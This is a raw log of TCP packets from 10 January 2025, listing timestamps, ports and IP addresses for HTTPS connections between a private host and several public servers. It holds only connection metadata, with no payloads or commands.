Jan 10, 2025 00:21:07.455073118 CET	49797	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:07.469383955 CET	49797	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:07.469408989 CET	443	49797	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.272602081 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.272625923 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.272689104 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.273268938 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.273283005 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.327852964 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.327886105 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.327964067 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.328407049 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.328428030 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.752121925 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.752480030 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.752496004 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.752826929 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.753339052 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.753403902 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.753971100 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.795336008 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.809257030 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.809570074 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.809598923 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.810002089 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.810364008 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.810440063 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.810518980 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.851371050 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.891988993 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.892170906 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.892229080 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.892595053 CET	49810	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:08.892606974 CET	443	49810	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:08.956247091 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.956330061 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.956386089 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.956418037 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.956432104 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:08.956501961 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.957541943 CET	49812	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:08.957556963 CET	443	49812	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.212656975 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.212682009 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.212908983 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.213340044 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.213357925 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.690058947 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.690331936 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.690354109 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.690718889 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.691396952 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.691471100 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.691750050 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.735347986 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.835603952 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.835719109 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.835778952 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.836895943 CET	49818	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:09.836915970 CET	443	49818	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:09.841800928 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:09.841835976 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:09.842107058 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:09.842503071 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:09.842521906 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.326153994 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.351861954 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:10.351892948 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.352466106 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.352499008 CET	443	49738	142.250.186.68	192.168.2.6
Jan 10, 2025 00:21:10.352571964 CET	443	49738	142.250.186.68	192.168.2.6
Jan 10, 2025 00:21:10.352715015 CET	49738	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:21:10.372513056 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:10.372631073 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.373323917 CET	49738	443	192.168.2.6	142.250.186.68
Jan 10, 2025 00:21:10.373338938 CET	443	49738	142.250.186.68	192.168.2.6
Jan 10, 2025 00:21:10.373786926 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.373812914 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.373893023 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.374629974 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.374694109 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.374721050 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:10.415330887 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.481935024 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.482163906 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.482223034 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:10.483345032 CET	49825	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:10.483357906 CET	443	49825	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:10.826764107 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.832421064 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.832436085 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.832953930 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.833949089 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.834036112 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.834304094 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.834430933 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.834470034 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:10.834789991 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:10.834822893 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113069057 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113117933 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113146067 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113174915 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113202095 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:11.113218069 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113231897 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:11.113321066 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.113384008 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:11.114300013 CET	49827	443	192.168.2.6	104.18.94.41
Jan 10, 2025 00:21:11.114312887 CET	443	49827	104.18.94.41	192.168.2.6
Jan 10, 2025 00:21:11.121571064 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.121602058 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.121666908 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.122282982 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.122303009 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.125926018 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.125962973 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.126063108 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.126105070 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.126162052 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.126239061 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.126425982 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.126441956 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.126576900 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.126594067 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.575612068 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.576481104 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.576503038 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.576977015 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.577369928 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.577459097 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.578442097 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.619333982 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.663636923 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.664081097 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.664119959 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.664625883 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.665378094 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.665473938 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.667678118 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.670082092 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.670800924 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.670840979 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.671953917 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.672015905 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.673527956 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.673598051 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.711384058 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.718379021 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.718496084 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.718635082 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.722564936 CET	49832	443	192.168.2.6	104.18.95.41
Jan 10, 2025 00:21:11.722584009 CET	443	49832	104.18.95.41	192.168.2.6
Jan 10, 2025 00:21:11.722655058 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.722686052 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.770560980 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.845863104 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.895550013 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.895570993 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:11.941793919 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:11.974145889 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.019596100 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.019613981 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.021538973 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.021645069 CET	443	49834	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.021704912 CET	49834	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.040647984 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.040677071 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.040740967 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.040941000 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.040956974 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.186311960 CET	443	49753	192.185.25.242	192.168.2.6
Jan 10, 2025 00:21:12.186389923 CET	443	49753	192.185.25.242	192.168.2.6
Jan 10, 2025 00:21:12.186467886 CET	49753	443	192.168.2.6	192.185.25.242
Jan 10, 2025 00:21:12.350490093 CET	49753	443	192.168.2.6	192.185.25.242
Jan 10, 2025 00:21:12.350505114 CET	443	49753	192.185.25.242	192.168.2.6
Jan 10, 2025 00:21:12.609637976 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.609905005 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.609919071 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.610970974 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.611048937 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.612123013 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.612190962 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.612292051 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.655323982 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.659984112 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:12.660003901 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:12.707446098 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.003494024 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.004010916 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.004084110 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.004103899 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.052375078 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.091886044 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.144186974 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.144222975 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.153445005 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.153604031 CET	443	49844	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.153768063 CET	49844	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.154772997 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.195337057 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.338293076 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.338617086 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.340826035 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.340837002 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.388843060 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.429369926 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.474297047 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.474314928 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.478478909 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.478544950 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.478712082 CET	443	49833	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.478796959 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.478815079 CET	49833	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.480026007 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.480057001 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:13.480212927 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.480539083 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:13.480552912 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.028399944 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.028768063 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.028775930 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.029823065 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.029925108 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.030402899 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.030467987 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.030613899 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.030620098 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.084064007 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.280879974 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.318918943 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.319025993 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.319031954 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.364404917 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.364411116 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371081114 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371095896 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371123075 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371133089 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371140003 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371150017 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.371156931 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.371210098 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.371213913 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.408934116 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.409024000 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.409034014 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.418670893 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.418698072 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.418772936 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.419064999 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.419101954 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.419334888 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.419336081 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.419352055 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.419586897 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.419600964 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.442934036 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.442981005 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.443054914 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.443341970 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.443356991 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.462377071 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.462384939 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.462662935 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.462768078 CET	443	49851	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.462960005 CET	49851	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.954514027 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.958120108 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.958131075 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.961466074 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.961641073 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.967150927 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.967228889 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.967556953 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.967566967 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.972948074 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.973387957 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.973412037 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.974567890 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.977932930 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.978009939 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:14.978111982 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:14.978141069 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.016566992 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.019759893 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.023909092 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.024200916 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.024218082 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.025333881 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.025401115 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.026765108 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.026825905 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.026971102 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.067245960 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.067254066 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.098412991 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.112932920 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.143887043 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.154176950 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.193994999 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.230441093 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.251506090 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:15.251526117 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:15.251605988 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:15.252305984 CET	49870	443	192.168.2.6	40.113.103.199
Jan 10, 2025 00:21:15.252316952 CET	443	49870	40.113.103.199	192.168.2.6
Jan 10, 2025 00:21:15.272722006 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.272732019 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.275043964 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.275165081 CET	443	49862	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.275269985 CET	49862	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.283967018 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.302434921 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.302467108 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.302639961 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.302861929 CET	49871	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.302879095 CET	443	49871	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.331891060 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.331902027 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.334638119 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.334749937 CET	443	49863	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.334958076 CET	49863	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.339340925 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.339432001 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.339539051 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.339780092 CET	49872	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.339816093 CET	443	49872	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.462408066 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.505089045 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.505104065 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.552023888 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.552037001 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555280924 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555294991 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555320978 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555329084 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555339098 CET	443	49864	165.140.202.155	192.168.2.6
Jan 10, 2025 00:21:15.555377007 CET	49864	443	192.168.2.6	165.140.202.155
Jan 10, 2025 00:21:15.555383921 CET	443	49864	165.140.202.155	192.168.2.6
